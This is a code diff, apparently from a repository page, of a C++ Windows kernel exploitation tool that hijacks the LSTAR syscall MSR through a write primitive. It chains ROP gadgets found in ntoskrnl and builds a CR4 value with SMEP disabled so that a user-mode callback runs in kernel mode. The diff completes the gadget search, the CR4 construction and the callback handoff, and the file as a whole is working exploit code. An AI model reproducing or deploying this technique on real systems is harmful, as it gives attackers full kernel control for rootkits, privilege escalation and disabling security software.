|
|
@ -1,12 +1,12 @@
|
|
|
|
#include "msrexec.hpp"
|
|
|
|
#include "msrexec.hpp"
|
|
|
|
|
|
|
|
|
|
|
|
void msrexec_handler()
|
|
|
|
void msrexec_handler(callback_t* callback)
|
|
|
|
{
|
|
|
|
{
|
|
|
|
// restore LSTAR....
|
|
|
|
// restore LSTAR....
|
|
|
|
__writemsr(IA32_LSTAR_MSR, m_system_call);
|
|
|
|
__writemsr(IA32_LSTAR_MSR, m_system_call);
|
|
|
|
|
|
|
|
|
|
|
|
// call usermode code...
|
|
|
|
// call usermode code...
|
|
|
|
//callback();
|
|
|
|
(*callback)(ntoskrnl_base, get_system_routine);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
namespace vdm
|
|
|
|
namespace vdm
|
|
|
@ -14,39 +14,129 @@ namespace vdm
|
|
|
|
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
|
|
|
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
|
|
|
: wrmsr(wrmsr)
|
|
|
|
: wrmsr(wrmsr)
|
|
|
|
{
|
|
|
|
{
|
|
|
|
|
|
|
|
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
|
|
|
|
|
|
|
|
if (!find_gadgets())
|
|
|
|
|
|
|
|
std::printf("> failed to find gadgets...\n");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
|
|
|
|
|
|
|
|
if (!find_globals())
|
|
|
|
|
|
|
|
std::printf("> failed to find globals...\n");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// this is a guess aided by cpuid feature checks...
|
|
|
|
|
|
|
|
cpuid_eax_01 cpuid_info;
|
|
|
|
|
|
|
|
__cpuid((int*)&cpuid_info, 1);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
cpuid_eax_07 cpuid_features;
|
|
|
|
|
|
|
|
__cpuid((int*)&cpuid_features, 7);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// if i dont set a bit, it means its 0...
|
|
|
|
|
|
|
|
cr4 cr4_value{};
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
cr4_value.debugging_extensions = true;
|
|
|
|
|
|
|
|
cr4_value.page_size_extensions = true;
|
|
|
|
|
|
|
|
cr4_value.machine_check_enable = true;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// however the system can still *not* have PAE enabled
|
|
|
|
|
|
|
|
// but i assume if its supported, windows will use it...
|
|
|
|
|
|
|
|
// if you find out otherwise please email: _xeroxz@back.engineer...
|
|
|
|
|
|
|
|
cr4_value.physical_address_extension =
|
|
|
|
|
|
|
|
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// again the system can still *not* have PGE enabled
|
|
|
|
|
|
|
|
// but i assume if its supported, windows will use it...
|
|
|
|
|
|
|
|
// if you find out otherwise please email: _xeroxz@back.engineer...
|
|
|
|
|
|
|
|
cr4_value.page_global_enable =
|
|
|
|
|
|
|
|
cpuid_info.cpuid_feature_information_edx.page_global_bit;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// again the system can still *not* have FXSAVE/FXRSTOR enabled
|
|
|
|
|
|
|
|
// but i assume if its supported, windows will use it...
|
|
|
|
|
|
|
|
// if you find out otherwise please email: _xeroxz@back.engineer...
|
|
|
|
|
|
|
|
cr4_value.os_fxsave_fxrstor_support =
|
|
|
|
|
|
|
|
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// windows has this bit high on my VM so I
|
|
|
|
|
|
|
|
// assume windows can handle these exceptions...
|
|
|
|
|
|
|
|
// if you find out otherwise please email: _xeroxz@back.engineer...
|
|
|
|
|
|
|
|
cr4_value.os_xmm_exception_support = true;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
cr4_value.fsgsbase_enable =
|
|
|
|
|
|
|
|
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
cr4_value.os_xsave =
|
|
|
|
|
|
|
|
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m_smep_off.flags = cr4_value.flags;
|
|
|
|
|
|
|
|
m_smep_off.smep_enable = false;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// WARNING: some virtual machines dont have SMEP...
|
|
|
|
|
|
|
|
// my VMWare VM doesnt... nor does my Virtual Box VM...
|
|
|
|
|
|
|
|
m_smep_on.flags = cr4_value.flags;
|
|
|
|
|
|
|
|
m_smep_on.smap_enable = cpuid_features.ebx.smep;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ntoskrnl_base =
|
|
|
|
|
|
|
|
reinterpret_cast<void*>(
|
|
|
|
|
|
|
|
utils::kmodule::get_base("ntoskrnl.exe"));
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
get_system_routine =
|
|
|
|
|
|
|
|
reinterpret_cast<get_system_routine_t>(
|
|
|
|
|
|
|
|
utils::kmodule::get_export(
|
|
|
|
|
|
|
|
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
|
|
|
|
|
|
|
|
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
|
|
|
|
|
|
|
|
std::printf("> m_system_call -> 0x%p\n", m_system_call);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
|
|
|
|
|
|
|
|
std::getchar();
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
auto msrexec_ctx::find_gadgets() -> bool
|
|
|
|
|
|
|
|
{
|
|
|
|
|
|
|
|
m_mov_cr4_gadget =
|
|
|
|
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
MOV_CR4_GADGET, "xxxx");
|
|
|
|
|
|
|
|
|
|
|
|
if (!m_mov_cr4_gadget)
|
|
|
|
if (!m_mov_cr4_gadget)
|
|
|
|
m_mov_cr4_gadget =
|
|
|
|
return {};
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
MOV_CR4_GADGET, "xxxx");
|
|
|
|
m_sysret_gadget =
|
|
|
|
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
SYSRET_GADGET, "xxx");
|
|
|
|
|
|
|
|
|
|
|
|
if (!m_sysret_gadget)
|
|
|
|
if (!m_sysret_gadget)
|
|
|
|
m_sysret_gadget =
|
|
|
|
return {};
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
SYSRET_GADGET, "xxx");
|
|
|
|
m_pop_rcx_gadget =
|
|
|
|
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
POP_RCX_GADGET, "xx");
|
|
|
|
|
|
|
|
|
|
|
|
if (!m_pop_rcx_gadget)
|
|
|
|
if (!m_pop_rcx_gadget)
|
|
|
|
m_pop_rcx_gadget =
|
|
|
|
return {};
|
|
|
|
utils::rop::find_kgadget(
|
|
|
|
|
|
|
|
POP_RCX_GADGET, "xx");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
|
|
|
|
return true;
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
m_smep_off = 0x6F8; // TODO construct cr4 value...
|
|
|
|
auto msrexec_ctx::find_globals() -> bool
|
|
|
|
m_smep_on = 0x6F8;
|
|
|
|
{
|
|
|
|
const auto [section_data, section_rva] =
|
|
|
|
const auto [section_data, section_rva] =
|
|
|
|
utils::pe::get_section(
|
|
|
|
utils::pe::get_section(
|
|
|
|
reinterpret_cast<std::uintptr_t>(
|
|
|
|
reinterpret_cast<std::uintptr_t>(
|
|
|
|
LoadLibraryA("ntoskrnl.exe")), ".text");
|
|
|
|
LoadLibraryA("ntoskrnl.exe")), ".text");
|
|
|
|
|
|
|
|
|
|
|
|
const auto ki_system_call =
|
|
|
|
const auto ki_system_call =
|
|
|
|
utils::scan(reinterpret_cast<std::uintptr_t>(
|
|
|
|
utils::scan(reinterpret_cast<std::uintptr_t>(
|
|
|
|
section_data.data()), section_data.size(),
|
|
|
|
section_data.data()), section_data.size(),
|
|
|
|
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
|
|
|
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
|
|
|
|
|
|
|
|
|
|
|
m_system_call = (ki_system_call -
|
|
|
|
if (!ki_system_call)
|
|
|
|
|
|
|
|
return {};
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m_system_call = (ki_system_call -
|
|
|
|
reinterpret_cast<std::uintptr_t>(
|
|
|
|
reinterpret_cast<std::uintptr_t>(
|
|
|
|
section_data.data())) + section_rva +
|
|
|
|
section_data.data())) + section_rva +
|
|
|
|
utils::kmodule::get_base("ntoskrnl.exe");
|
|
|
|
utils::kmodule::get_base("ntoskrnl.exe");
|
|
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
/*
|
|
|
@ -58,13 +148,7 @@ namespace vdm
|
|
|
|
|
|
|
|
|
|
|
|
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
|
|
|
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
|
|
|
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
|
|
|
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
|
|
|
|
|
|
|
return true;
|
|
|
|
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
|
|
|
|
|
|
|
|
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
|
|
|
|
|
|
|
|
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
|
|
|
|
|
|
|
|
std::printf("> m_system_call -> 0x%p\n", m_system_call);
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void msrexec_ctx::exec(callback_t kernel_callback)
|
|
|
|
void msrexec_ctx::exec(callback_t kernel_callback)
|
|
|
@ -83,13 +167,20 @@ namespace vdm
|
|
|
|
while (!SwitchToThread());
|
|
|
|
while (!SwitchToThread());
|
|
|
|
|
|
|
|
|
|
|
|
// set LSTAR to first rop gadget... race begins here...
|
|
|
|
// set LSTAR to first rop gadget... race begins here...
|
|
|
|
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
|
|
|
|
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
|
|
|
|
|
|
|
|
std::printf("> failed to set LSTAR...\n");
|
|
|
|
// go go gadget kernel execution...
|
|
|
|
else
|
|
|
|
syscall_wrapper(kernel_callback);
|
|
|
|
// go go gadget kernel execution...
|
|
|
|
|
|
|
|
syscall_wrapper(&kernel_callback);
|
|
|
|
|
|
|
|
|
|
|
|
// reset thread priority...
|
|
|
|
// reset thread priority...
|
|
|
|
SetPriorityClass(GetCurrentProcess(), thread_info.first);
|
|
|
|
SetPriorityClass(GetCurrentProcess(), thread_info.first);
|
|
|
|
SetThreadPriority(GetCurrentThread(), thread_info.second);
|
|
|
|
SetThreadPriority(GetCurrentThread(), thread_info.second);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
|
|
|
|
|
|
|
|
{ this->wrmsr = wrmsr; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
|
|
|
|
|
|
|
|
{ return this->wrmsr; }
|
|
|
|
}
|
|
|
|
}
|